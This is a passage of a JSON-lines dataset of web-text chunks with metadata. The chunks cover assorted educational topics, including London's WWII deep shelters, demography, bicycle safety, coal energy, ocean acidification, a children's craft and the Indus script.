2013 at 8 : 47 : 55pm | | $ 2. 50 | | computer - science | | what is a. cc ( dot cc ) domain? | | a + solutions... stralian territory. it is administered by verisign through a subsidiary company enic, which promotes it for international registration as \" the next. com \" ;. cc was originally assigned in october 1997...... | may 03, 2013 at 8 : 43 : 10pm | | $ 5. 00 | | computer - science | | how do i disable my browser ' s pop - up blocker? | | a + solutions... ood thing. it prevents annoying advertisements from popping up in new windows as you are browsing the web. however, some websites provide useful information in pop - up windows. others may even require...... | may 03, 2013 at 8 : 41 : 37pm | | $ 5. 00 | | computer - science | | why won ' t java applets run in my web browser? | | a + solutions... edy for both of these problems is to install the latest version of java. fortunately, java is available as a free \u2020 download. windows and linux users can get the latest version of java at sun...... | may 03, 2013 at 8 : 39 : 31pm | | $ 10. 00 | | computer - science | | what are environment variables used by web servers? | | a + solutions... rver. they change dynamically, such as when a new page is loaded or a form is posted. the variables can provide useful information, such as the user ' s \u2020 ip address \u2020 or \u2020 web browser \u2020 type. this data is...... | may 03, 2013 at 8 : 37 : 55pm | | $ 5. 00", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4750656359508187, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.765474"} {"text": "from the definitions we can observe that there were no unanimity of views among the different writers. those who want to enlarge the scope can be called the macro demographic group and those who maintain narrow view can be put in the micro demography group. views of spencer, vance, ryder, lorimer, moore, etc., fail within the category of macro demography. under macro demography the writers have studied the causes of slow or rapid grow of birth rate, death rate, population growth, sex ratio and health conditions, etc. many economic issues like unemployment, income condition of the masses, standard of living, labour conditions and living standard, production, consumption, saving - habits, correlation between population and economic development are all part of macro demography study social problem \u2019 like marital status, composition of the family, growing trend about t caste, religion, education, etc, form part of macro demography. geography can also be studied with the help of macro demography for example problems of migration, urbanization, etc form part of macro demography. according to the narrow view we study demography as small units like individual, family, group etc in fact these units constitute the primary elements of macro analysis for instance if we study the fertility rate of women in rewa or bhopal, it forms part of micro demography. on the other hand, if we study the fertility of women for the whole of india or madhya pradesh, and rewa and bhopal divisions are included as units of the same, then the study will fall within the macro analysis. according to prof. bogue \u201c micro demography is the study of the growth, distribution and redistribution of the population within community, state, economic area or other local area. this included both numerical and composition aspects and is performed by using meaningful subdivision of community of local areas. \u201d [ continues ] cite this essay ( 2009, 02 ). scope and subject matter of demography. studymode. com. retrieved 02, 2009, from http : / / www. studymode. com / essays / scope - and - subject - matter - of - demography - 192476. html \" scope and subject matter of demography \" studymode. com. 02 2009. 02 2009 < http : / / www. studymode. com / essays / scope - and - subject - matter - of - demography - 192476. html >. \" scope and subject matter of demography. \" studymode. com. 02, 2009.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5140388565824677, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.855403"} {"text": "made obvious by the content of this piece of writing, is the fact that vaughn must have done a good bit of researching to thoroughly grasp the feelings of people during the times, and accumulate his opinion of this part of the era. being a historian, vaughn had to see the world as those who lived it, as well as maintain the perspective of his own time, and in doing this, he rid the article of bias, and only spoke his honest opinion. the issue of the article was the rebellion led by daniel shay, the events leading up to it, and the products of the actions. not only were tensions raised to extreme heights in communities during this time, but hundreds of people began to go against the government even more because of the level of unfairness. in his article, vaughn tries to explain the colonials \u2019 reasoning behind their actions, and has a tone which implies his position on the matter to be one in which the colonials were distressed and tired of being put in debt because of unreasonable laws. the author gives factual evidence throughout his work that tell of events where people were unhappy and of the consequences of these feelings. vaughn makes a good point in saying more or less that people wanted to understand why they were being treated this way, and wanted to know why their government was being so one sided and unjust. personally, i completely agree with the author \u2019 s position, and i understand why he wrote about the evidence that he did. vaughn made a point of telling about the rebellion from both the colonial and governmental perspectives, and stayed away from any bias that could have been brought in. the occurrences of shay \u2019 s rebellion are elaborated on in many textbooks and writings, and... [ continues ] cite this essay ( 2008, 11 ). shay ' s rebellion critique. studymode. com. retrieved 11, 2008, from http : / / www. studymode. com / essays / shays - rebellion - critique - 178461. html \" shay ' s rebellion critique \" studymode. com. 11 2008. 11 2008 < http : / / www. studymode. com / essays / shays - rebellion - critique - 178461. html >. \" shay ' s rebellion critique. \" studymode. com. 11, 2008. accessed 11, 2008. http : / / www. studymode. com / essays / shays - rebellion - critique - 178461. html.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.47169862232974347, "token_count": 494, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.863585"} {"text": "shelters in london this rare original document by one of the projects consulting engineers ; w. t. halcrow & partners, gives a fascinating insight into the construction and design of the ' deep tunel air raid shelters ' ( sic ). ' ministry of home security : deep tunel air raid shelters : london 1942 ' courtesy alan a. jackson ' s ` rails through the clay ' \u00a9. ` the bombings of 1940 forced a reappraisal of deep - shelter policy and at the end of october the government decided to construct a system of deep shelters linked to existing tube stations. london transport was consulted about the sites and required to build the tunnels at the public expense with the understanding that they were to have the option of taking them over for railway use after the war. with the latter point in mind, positions were chosen on routes of possible north - south and east - west express tube railways. it was decided that each shelter would comprise two parallel tubes 16 foot 6 inches internal diameter and 12, 000 feet long and would be placed below existing station tunnels at clapham south, clapham common, clapham north, stockwell, oval, goodge street, camden town, belsize park, chancery lane and st. pauls. it may be assumed that at these points the deep - level express tubes would have no stations as the diameter was too small. each tube would have two decks, fully equipped with bunks, medical posts, kitchens and sanitation and each installation would accommodate 9, 600 people at a construction cost of 15 pounds per head. in the event, the capacity was reduced to 8000 as a result of improved accommodation standards and the actual cost varied between 35 and 42 pounds per head. work began on november 27th 1940 and it was hoped to have the first shelters ready by the following summer. there were great difficulties in obtaining labour and material and when the blitz abated the government had second thoughts. the old bogey of ' deep level mentality ' was brought out of the cupboard by those who opposed the lavish expenditure of money and labour on this project and in the middle of 1941 a select committee on national expenditure recommended that no further deep shelters be built, but those started should be completed. work at st. paul ' s was abandoned in august 1941 as it was feared the foundations of the cathedral might be affected. oval was also abandoned shortly after this as large quantities of water were encountered. the first complete shelter was ready in march 1942 and the other seven were finished later in that year. the board then urged the government to open", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4527708030947418, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.885684"} {"text": "of the cathedral might be affected. oval was also abandoned shortly after this as large quantities of water were encountered. the first complete shelter was ready in march 1942 and the other seven were finished later in that year. the board then urged the government to open the shelters to relieve the strain on the tube stations, but the cabinet were alive to the great cost of maintaining the deep shelters once they were opened and decided to keep them in reserve pending an intensification of the bombing. towards the end of 1942 part of goodge street shelter was made available for general eisenhower ' s headquarters and later two others were adapted for government use. another was converted to a hostel for american troops and sections of the remaining four were used to billet british soldiers. these uses were maintained throughout 1943 despite agitation that the shelters should be opened for their proper purpose. at the beginning of 1944, the air attack warmed up again and on june 13th the v1 assault began to be followed on september 8th by the v2 rockets which then came over intermittently until march 27th 1945. the arrival of the flying bombs finally moved the government to open the shelters to the public. stockwell was available from july 9th 1944, clapham north from july 13th, camden town from july 16th, clapham south from july 19th and belsize park from july 23rd. the other three remained in government use. regular shelterers at nearby tube stations and homeless people were given admission tickets, but demand was not high and by september some of the spaces available were made available to troops on leave. the highest recorded nightly population was 12, 297 bon july 24 1944, about one third of total capacity. on october 21st, two of the shelters were closed again and nightly use fell until by january 1945 only about 25, 000 people were using the tube stations and deep shelters. the last air - raid warning of the war was sounded on march 28th 1945 ( the european war ended on may 8th ), but about 12, 000 homeless people and ' squatter ' continued to sleep in the tubes until may, when the bunks on the platforms were removed and a start was made on tidying up the stations. the 79 shelters stations were closed to shelterers after the night of may 6th and the board breathed a deep sigh of relief. after the war, various uses were found for the government deep shelters, including the storage of documents and the provision of overnight accommodation for students and troops. goodge street continued in use as an army transit centre until it was damaged by fire on the night of may 21st 1956. the", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4666015568901294, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.888877"} {"text": "were found for the government deep shelters, including the storage of documents and the provision of overnight accommodation for students and troops. goodge street continued in use as an army transit centre until it was damaged by fire on the night of may 21st 1956. the fire coincided with parliamentary consideration of a government bill seeking power to take over the shelters ( the underground works [ london ] bill ) and the minister of works assured the commons they would not again be used for human occupation in peacetime ( although no one was killed, the fire had caused some alarm and proved difficult to put out ). during the progress of the bill, it was revealed that the option for railway use had been retained only on the three clapham shelters and the adjacent one at stockwell. ' in the 1950 ' s chancery lane was converted into a 500 line trunk telephone exchange with a six weeks food supply and its own artesian well. it was connected to 12 miles of 7 foot diameter deep cable tunnels constructed since the war by the post office. camden town has been used a as a set for ' dr. who ' and ' blakes 7 '. each set of tunnels had two entrances at the surface consisting of a roughly circular concrete ' pillbox ' most of them having a square brick ventilation shaft on the roof. this was the ventilation intake fitted with a gas filter. the ventilation exhaust was usually located some yards to one side of the ' pillbox ' usually consisting of a small brick building or a metal framework around an open shaft. it would appear that the exhaust shaft also served as a loading shaft for heavy or large items as the shaft tops are generally fitted with double doors and a strong metal beam for winching items down the shaft. the ' pillboxes ' generally had small brick extensions on either side for the entrance doors and some had other small brick extensions attached. apart from chancery lane ( and perhaps one entrance at clapham north ) where the entrances were reconstructed during it ' s conversion into a protected underground trunk exchange all the ' pillbox ' entrances remain intact although some of them have been somewhat altered by later use '. ( note : a cutaway diagram of a typical deep shelter appears on page 105 of \" war plan uk \". ) rsg site visit report : 26th december 1999 ` with a few hours to spare christmas morning, banned from the kitchen and crap on the television, i decided to have a look at the entrances to the ww2 deep level shelters around london following the recent interest on the ( public ) locations & description of ( as of 25th", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4706449736152294, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.892305"} {"text": "spare christmas morning, banned from the kitchen and crap on the television, i decided to have a look at the entrances to the ww2 deep level shelters around london following the recent interest on the ( public ) locations & description of ( as of 25th december 1999 ) location : at the end of a drive alongside flourstalk florists, 210 haverstock hill, nw3. it can also be viewed from a private housing estate in aspern grove. description : the main structure is circular ' pillbox ' made of concrete with a square brick ventilation shaft ( ventilation intake ) on the roof with lower brick extensions to the shaft overlapping the top of the circular concrete structure and running down to ground level. these housed the original doors. a few yards to the south there is an open vertical shaft surrounded by corrugated iron. there is a door in one side with a metal beam for a pulley for dropping large or heavy items into the tunnels. a few yards to the west is a low concrete structure with a trap door in the top. this was probably a water or fuel tank. a modern circular ventilation shaft stands close by in a fenced compound probably has no connection and links to the tube tunnels. the concrete is painted white the brick is unpainted. location : at the junction of haverstock hill and downside crescent, description : similar circular ' pillbox ' to the northern entrance with brick ventilation intake tower on the roof and brick extensions on either side. there is a brick extension in downside crescent which is the current entrance and behind it a 25 foot brick tower with a door at the bottom. in the grounds to the east there is a low rectangular concrete structure with a trap door in the top, probably a water or fuel tank. apart from the tank and the tower which are unpainted the whole structure is painted white. location : in stugley street, nw 1 opposite stugley place. description : the main structure is a circular ' pillbox ' faced with brick with a square brick ventilation shaft on the roof with 2 lower brick extensions either side of the shaft, overlapping the circular structure and coming down to ground level. these housed the original doors. on the east side, but separate from the main structure there is a second brick ventilation shaft at ground level with a door and a metal beam to take a pulley for loading large or heavy items into the tunnels. all the brick is unpainted. this entrance appears not to be used at present. location : at the end of a drive running", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.42434757997434913, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.894575"} {"text": "with a door and a metal beam to take a pulley for loading large or heavy items into the tunnels. all the brick is unpainted. this entrance appears not to be used at present. location : at the end of a drive running north alongside marks and spencer car park from underhill street, nw1. description : the surface ' pillbox ' is faced with brick and is almost circular but has one flat side. it has a square brick ventilation intake shaft on the roof with two lower brick extensions, at right angles to each other. these overlap the circular structure coming down to ground level. they originally housed the doors. there is a brick extension on the east side which now forms the main entrance. there is a modern sign on the wall that says ' loading bay '. there is an open shaft a few yards to the north surrounded by corrugated iron and a metal beam for taking a pulley to lower large or heavy items into the tunnels. there is a door with a sign saying ' danger deep shaft '. all the brickwork is unpainted. the building is called the eisenhower centre. location : in chenies street, wc1 at the junction of north crescent. description : the building consists of two concrete blocks one circular ' pillbox ' and the smaller one octagonal. they are joined by a long thin rectangular brick building. there is a brick ventilation shaft attached to the rear of this brick building. it has a door and a beam for carrying a pulley for loading large or heavy objects into the tunnels. the main entrance is at the front opposite alfred place. there is a square brick ventilation shaft on the roof of the circular ' pillbox ' with a small brick extension on the east side of the octagonal building. the whole structure is painted cream and red. location : in tottenham court road, w1 next to whitfield memorial church and opposite torrington place. description : the main structure is circular ' pillbox ' built of concrete. there is a square brick intake ventilation shaft on the roof and two lower brick extensions either side of the shaft coming down to ground level. these were for the original doors. on the entrance fronting onto tottenham court road there are the remains of a painted sign which reads ` - - - - d property - - - - trance strictly - - - - ohibited - - - - out authority '. the sign has been cut in half by the addition of a later door and may date from ww2 or 50 ' s use. there is a rectangular brick building", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.47660345043750485, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.897003"} {"text": "trance strictly - - - - ohibited - - - - out authority '. the sign has been cut in half by the addition of a later door and may date from ww2 or 50 ' s use. there is a rectangular brick building behind with a low ventilation shaft on the roof. the roof of this building has modern railings round it and is used as a play area by the fitzrovia children ' s centre in whitfield street who also use the building. the west entrance appears to be unused other than an emergency access to the eisenhower centre. converted into a trunk telephone exchange in the 1950 ' s and recently sold. location : the main entrance was an unobtrusive office entrance on the north side of high holborn wc1 just west of grays inn road. the building is currently being refurbished and the entrance is boarded up. for a picture see page 310 of war plan uk. location : at the junction of furnival st. ec 4 and tooks court. description : an 80 foot long rectangular brick building with two 25 foot ventilation towers, one at each end of the building. there is a drive in entrance to a walled compound in furnival street giving access to the goods lift and a pedestrian entrance into the building in tooks court for the passenger lift. location : on an island at the junction of lambeth road and clapham road, description : a circular concrete ' pillbox ' and a low circular brick structure on the roof. there are entrances on opposite sides. the ' pillbox ' is painted with a mural, mainly depicting scenes from ww 1. it was painted in 1998 from designs by pupils of stockwell park school. this entrance appears to be unused except for emergency access. location : behind lock - up garages in studley road, sw 4. description : a circular concrete ' pillbox ' with small brick extensions on opposite sides housing the original doors. there is no ventilation shaft on the roof. the ' pillbox ' is painted white. there is an open shaft to one side with a metal framework around it covered in metal sheeting with a grille on one side. the tunnels are currently vacant and are available to let. they are advertised as having 60, 000 sq. feet of underground storage accommodation. location : on the west side of clapham road sw4, opposite 383 clapham road and beside russell pickering house ( council flats ) description : a circular concrete ' pillbox ' painted grey with small brick extensions on opposite sides for the original entrance doors", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5105063678504609, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.899059"} {"text": ": on the west side of clapham road sw4, opposite 383 clapham road and beside russell pickering house ( council flats ) description : a circular concrete ' pillbox ' painted grey with small brick extensions on opposite sides for the original entrance doors. there is no ventilation shaft on the roof. there is also a narrow rectangular brick extension fronting onto clapham road. on the raised platform behind the ' pillbox ' is a square brick ventilation shaft with double doors and a beam for winching. heavy or large items into the tunnels. alongside there are a set of modern double doors flush with location : in a yard behind clapham north station between bedford road and clapham high street, sw 4. description : it was not possible to gain access to the yard but through a hole in the fence a square brick ventilation shaft could be seen. there didn ' t appear to be room for a circular ' pillbox ', there was however a rectangular brick building with a small vent on the top but this may have been connected with the location : behind hoardings on clapham high street sw 4 at its junction with carpenters place. description : a circular concrete ' pillbox ' with a square brick intake ventilation shaft on the roof. there are brick extensions on either side for the original entrance doors and a new rectangular brick extension with loading bay at the rear. there is a separate square brick ventilation shaft in the compound behind the ' pillbox. '. location : behind hoardings at the junction of clapham high street and clapham park road, sw 4. description : a roughly figure of 8 shaped concrete ' pillbox ' with a square brick intake ventilation shaft on the roof and a 2nd brick ventilation shaft and entrance adjoined to the rear. beside this is a small brick extension with a door. this entrance appears not to be uses other than for emergency access. location : on clapham common at the junction of clapham common south side, nightingale lane and the avenue sw 4. description : a circular concrete ' pillbox ' with a semi - circular brick extension fronting onto the road. there is no ventilation shaft on the roof. there is a square brick ventilation shaft standing a few yards behind the ' pillbox '. this entrance appears to be unused other than for emergency access. location : on the west side of balham hill opposite gaskarth road, sw description : a circular concrete ' pillbox ' with small brick extensions on opposite sides that housed the original entrance doors. there is a square brick intake ventilation shaft on", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4559858453110244, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.900916"} {"text": "many biking accidents could be prevented if riders protected themselves with the right equipment and maintained their bikes with safety in mind. the following checklist from the national highway traffic safety administration can help you avoid accidents and have more fun when you ride. check your bike check your bicycle manual for safety and maintenance instructions specific to your bike. you also should : make sure your bike is the right size for you. when you ' re on it, stand straddling the top bar so both feet are flat on the ground. there should be one to two inches between you and the top bar. adjust the seat so your knee is slightly bent when you sit on the seat with your foot on the bike pedal at its lowest position. tighten the seat, handlebars and wheels, and make sure the wheels are straight. check and oil your chain regularly. always check your brakes before riding to make sure they ' re working properly and don ' t stick. check your tires to make sure they have the right pressure. attach a basket to your handlebars or a rack over your rear tire if you need to carry anything. don ' t hold anything in your hands. put reflectors on your bike. you should put a red reflector, three inches wide, behind your seat. there also should be a white reflector in front of the handlebars and other reflectors in the spokes of both wheels. use your head because many bike accidents result in a head injury, you should always wear a helmet. look on your helmet for a sticker that indicates it meets safety standards set by the consumer product safety commission ( cpsc ) or snell. if it doesn ' t have this sticker, you should replace it with one that does. a cpsc sticker means the helmet meets tough government standards. a snell sticker means the helmet has been approved by the snell memorial foundation, a nonprofit organization that tests helmet safety and sets, maintains and updates stringent standards. make sure your helmet fits correctly. ask a qualified bike store employee to help you adjust it properly. a helmet should : sit level on your head, not be tilted forward or back have strong, wide straps that fasten snugly under the chin be tight enough with straps fastened so no sudden pulling or twisting can move the helmet around on your head always fasten your helmet straps when riding. in addition, be sure to follow rules of the road and obey all traffic signals. for example, don \u2019 t run stop signs and ride single file when in bike lanes.", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.39960951496869956, "token_count": 511, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.905266"} {"text": "what role does coal play in the future? the ability to build coal power plants remains under threat due to political and environmental pressures at the state and national levels. the costs to build new plants are another issue. estimates to build a clean coal power plant project related costs at $ 1. 5 billion with four years of construction. comparatively, constructing a nuclear power plant can cost more than $ 2 billion and take five years to complete. that ' s why the government is looking towards creating clean coal technology. the idea is to research and develop better ways of using coal for many different purposes. they also cite that clean coal technologies can create jobs, increase energy security, address climate concerns and coal conversion technologies, which can help unlock coal ' s full potential. tom sarkus, deputy director of the office of major demonstrations with the national energy technology laboratory, knows how important coal is for the country and the world. he thinks energy in the u. s. is like a three - legged stool with petroleum, natural gas and coal each representing a leg. since coal plays such a large role on the economy and the country in general, he said replacing coal with renewable energies is easier said than done. sarkus said peaking energy sources, such as wind turbines, solar and natural gas, are not cost effective compared to coal. natural gas tends to follow gas prices and coal prices tend to follow natural gas. the price of coal is less than oil and natural gas, making it a stable source price - wise for the country. \" we have a relative abundance of coal and it ' s very economical here because it ' s a solid fuel, \" sarkus said. according to u. s. energy information administration, there are about 500 billion tons of coal available here in the u. s., but only about 55 percent of it is recoverable. about 1 billion tons of coal is used each year in the u. s., leaving a forecast of coal being a dominant resource for the next 50 to 100 years. coal production reached a record level of 1, 171. 8 million short tons and the average mine - level prices increased by 21 percent to $ 31. 25 per short ton. the number of employees increased by 6. 9 percent while the national productivity declined by 4. 9 percent to 5. 96 short tons per miner per hour, according to the u. s. eia website. there are about 5, 400 power plants in the u. s., with about 600 powered by coal. with so many being powered by coal, the push", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.44077901676396003, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.910879"} {"text": "short tons per miner per hour, according to the u. s. eia website. there are about 5, 400 power plants in the u. s., with about 600 powered by coal. with so many being powered by coal, the push to make them run more efficiently and cleaner is bigger than before. when the american recovery and reinvestment act of 2009, commonly known as the stimulus, was passed it included about $ 4. 6 billion for fossil fuel research and development, according to john grasser, director of fossil communications with the department of energy. \" there was a realization inside the government in that coal is not going away, \" grasser said. \" the u. s. is the saudi arabia of coal compared to the rest of the world. we need to continue to learn how to use it in a more cleaner and efficient manner. \" while much of the talk in the political spectrum focuses on green or clean energy jobs, there is still the possibility for a lot of growth in the future with coal - related jobs. with research needing to take place and the implementation of new technology in coal power plants, grasser thinks clean coal technology will play a big role in the future. \" i ' m pretty optimistic about this ( clean coal ) working out in the future so we can really get around to testing out new technologies and possibly putting them into place. i don ' t think we can just close all of the coal power plants and rely on other sources and fuels right now. \" but none of this will happen overnight. it will take some time for this to take place, \" grasser said.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4597115231709981, "token_count": 327, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.912809"} {"text": "voice : the oceans are the earth \u2019 s single largest absorbers of carbon dioxide. but they are being overloaded by humans \u2019 co2 emissions. the result : acidification, with catastrophic consequences. yves paccalet - renowned french writer, philosopher and environmentalist ( m ) : if the acidification of the ocean continues as it is now, then these so - called major carbon sinks will no longer be able to play their role, and therefore, everything goes faster. dr. wendy watson - wright \u2013 assistant director - general, unesco intergovernmental oceanographic commission ( f ) : what \u2019 s happening with this absorption of carbon dioxide is # 1, the ocean is becoming saturated, and # 2, the ocean is becoming more acid. this has an enormous impact. professor jean - pierre gattuso \u2013 oceanographer, national centre for scientific research, france ( m ) : and those changes which occurred in the past were very slow, so there was a lot of time and scope for the organisms to adapt, to evolve to those changing conditions. and now we are changing in almost an instant. voice : as the oceans reach a co2 saturation point, their waters acidify faster, which in turn threatens all marine life. dr. wendy watson - wright \u2013 assistant director - general, unesco intergovernmental oceanographic commission ( f ) : ocean acidification is having impacts on many, many different species. dr. james barry - senior scientist, monterey bay aquarium research institute ( m ) : in areas where corals are living where it is now more acidic, they have more fragile skeletons, which allows more rapid coastal erosion, etc. voice : in the pacific northwest of the usa, coastal areas have already become so acidic that baby oysters are dying as their shells corrode before they are fully formed. fish, previously thought to be unaffected, may also perish in the vulnerable egg and larvae stages of life. this is just a sign of what is to come if carbon emissions continue unchecked. dr. carol turley \u2013 senior scientist, plymouth marine laboratory, uk ( f ) : sixty - five million years ago, there was a big carbon perturbation then, and the oceans became more acidic, they became warmer, they had less oxygen. many, many species on earth became extinct, including the dinosaurs. and we \u2019 re kind of going through something that \u2019 s even more rapid now. dr. james barry ( m ) : it will change more in the lifetime of our children than we \u2019 ve seen for", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4406810610878488, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.918976"} {"text": "toddler activities : styrofoam tray prints with tempera toddler activities : a green craft using styrofoam trays to print. reuse styrofoam veggie and meat trays and make your own print. use a pencil to make a pattern, design or picture on the flat side of the styrofoam tray, add some paint and make some colorful prints. washed meat or vegetable trays. we found a four pack of tomatoes with a tray that had no markings on the bottom. pencil ( not too sharp ) sponge brush or roller ( brayer ) white paper ( water color paper or cardstock works well ) frame or construction paper to mount on. white scratch paper to test newspaper to work on. paint tray or small flat containers ( lids of plastic containers work well especially when using a roller ) - wash trays thoroughly and dry - draw with a pencil, trying not to puncture tray. - when your child is finished, go over the lines with a sharper pencil to add more definition if necessary. - pour tempera paint into small dish or lid for roller. roller produces smoothest results. you could probably use a regular paint brush as well but we didn ' t - roll or brush paint onto pattern. turn tray over onto test paper and rub the back gently in all areas to ensure best print results while making sure the tray does not slide. - do a couple test prints on scratch paper to see how much paint you need or if you need to deepen some of the lines. - lift tray gently from paper making sure not to slide or drop tray. - add more paint if needed and press onto your watercolor paper or cardstock. - let dry. frame or mount on construction paper. tips and suggestions look at the bottom of the tray for ones that are unmarked. keep it about 5 x 5 for best results and easier printing. test a few to get the results desired. deepen any lines necessary but try to keep it your child ' s work! we used a brayer and a sponge brush. the brayer has a slightly smoother finish. keep in mind the picture will be backwards so words are not advised unless they are palindromes ( words that can that can be read the same way in either direction ) that have mirror image letters like m and o in mom patterns are the easiest but my animals can be made too. this would make a simple, inexpensive toddler activity at a birthday party. words are tricky but you might find a", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.42844909645279283, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.933640"} {"text": "computers may crack ancient texts computer software that creates a statistical model of even indecipherable languages is being used in an attempt to better understand texts the meaning of which have been lost. ( indecipherable indus valley text cracked ) this fragment of text from the indus valley between 2600 and 1900 bc is part of more than 5, 000 seals, tablets and amulets discovered by archaeologists. experts even disagree on whether or not the markings, called the harappan script, even constitute a language. national pride is at stake ; some scholars have declared that the script only provides rudimentary pictograms and that the indus valley people were functionally illiterate. american and indian computer scientists entered the symbols and are running a statistical analysis. \" the computer program operates on sequences of symbols, so it can be used to learn a statistical model of any set of unknown or known texts, \" says rajesh rao, university of washington professor of computer science and co - author of the paper published in the proceedings of the national academy of science. \" in fact, such statistical models have been used to analyze a wide variety of sequences ranging from dna and speech to economic data. \" at present, researchers like rao are simply trying to determine if the markings are really a language. our results appear to favor the hypothesis that the indus script represents a linguistic writing system. our markov analysis of sign sequences, although restricted to pairwise statistics, makes it clear that the signs do not occur in a random manner within inscriptions but appear to follow certain rules : ( i ) some signs have a high probability of occurring at the beginning of inscriptions whereas others almost never occur at the beginning ; and ( ii ) for any particular sign, there are signs that have a high probability of occurring after that sign and other signs that have negligible probability of occurring after the same sign. furthermore, signs appear to fall into functional classes in terms of their position within an indus text, where a particular sign can be replaced by another sign in its equivalence class. such rich syntactic structure is hard to reconcile with a nonlinguistic system. additionally, our finding that the script may have been versatile enough to represent different subject matter in west asia argues against the claim that the script merely represents religious or political symbols. many experts, however, remain pessimistic, believing that these texts may never be fully translated without some sort of rosetta stone. the rosetta stone is a famous ancient egyptian stone with carved text in demotic, hieroglyphic and", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5429508596177183, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.947198"} {"text": "many experts, however, remain pessimistic, believing that these texts may never be fully translated without some sort of rosetta stone. the rosetta stone is a famous ancient egyptian stone with carved text in demotic, hieroglyphic and classical greek ; it was the key to translating many important egyptian texts in the mid - 1800 ' s. this idea of cracking ancient languages was popularized in the 1998 film blade, based on the 1970 ' s marvel comics character. in the movie, deacon frost, an ambitious young vampire, believes that the key to ultimate power for himself lies in the untranslatable book of erebus, a set of long parchments. ( blade walks through displayed book of erebus ) deacon frost is the modern sort of vampire, who largely disdains the conservative, ancient ways ; he uses computers to crack the book of erebus to gain its power for himself. blade arrives at the opportune moment, with his own slashing analysis. ( deacon frost completes his computer translation ) perhaps indecipherable ancient texts are better left untranslated. read more about the indus valley computer analysis story at abc science and time ; read the original paper a markov model of the indus script ( pdf ). thanks to moira for suggesting the topic in association with blade. scroll down for more stories in the same category. ( story submitted 9 / 1 / 2009 ) follow this kind of news @ technovelgy. | email | rss | blog it | stumble | del. icio. us | digg | reddit | you like to contribute a story tip? get the url of the story, and the related sf author, and add comment / join discussion ( back on ) ( 1 ) related news stories - fujitsu touchscreen mixes real and virtual worlds ' his hands flashed over the keyboard - it had not been there a moment before, but it was operative... ' - frederik pohl, 1965. nanowire memristor networks form ' brains ' ' he had constructed... a brain, of metal... whose atomic structure he claimed was analogous to the atomic structure of a living brain. ' - edmond hamilton, 1926. us census will be online in 2020 ' most would be in english, but some would be in spanish, some in amerind languages, some in chinese... ' - john brunner, 1975. wireless brain - computer interface ' i used my implant to tell millie [ a mainframe", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5304413873316615, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.949038"} {"text": "be in english, but some would be in spanish, some in amerind languages, some in chinese... ' - john brunner, 1975. wireless brain - computer interface ' i used my implant to tell millie [ a mainframe computer ] what we wanted and she took care of it, \" art said. ' - pournelle and niven, 1981. technovelgy ( that ' s tech - novel - gee! ) is devoted to the creative science inventions and ideas of sf authors. look for the invention category that interests you, the glossary, the invention timeline, or see what ' s new. german firm seeks to recruit autistics not a deficit, but a strength. nasa supports pizza printer is it extra with printed pepperoni? could ground - based lasers de - orbit space junk? ' then their lasers vaporized the smaller 